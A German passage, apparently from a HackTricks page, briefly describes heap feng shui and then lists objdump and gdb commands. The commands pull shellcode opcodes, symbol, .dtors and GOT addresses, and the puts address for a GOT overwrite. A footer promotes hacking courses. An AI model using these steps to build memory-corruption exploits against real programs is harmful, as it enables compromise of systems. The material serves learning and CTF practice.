Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu säen, dass reservierte Stücke zwischen freien Stücke liegen. Der Buffer, der überlaufen werden soll, wird in einem der Eier platziert.
objdump -d ausführbare Datei —> Disassembliere Funktionen
objdump -d ./PROGRAMA | grep FUNKTION —> Hole die Funktionsadresse
objdump -d -Mintel ./shellcodeout —> Um zu sehen, dass es tatsächlich unser Shellcode ist und die OpCodes zu extrahieren
objdump -t ./exec | grep varBss —> Symboltabelle, um Adressen von Variablen und Funktionen zu extrahieren
objdump -TR ./exec | grep exit(func lib) —> Um Adressen von Bibliotheksfunktionen (GOT) zu extrahieren
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Extrahiert die Adresse von puts, die in der GOT überschrieben werden soll
objdump -D ./exec —> Disassembliere ALLE bis zu den Einträgen der plt
objdump -p -/exec
Info functions strncmp —> Info zur Funktion in gdb
Interessante Kurse
Referenzen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichen.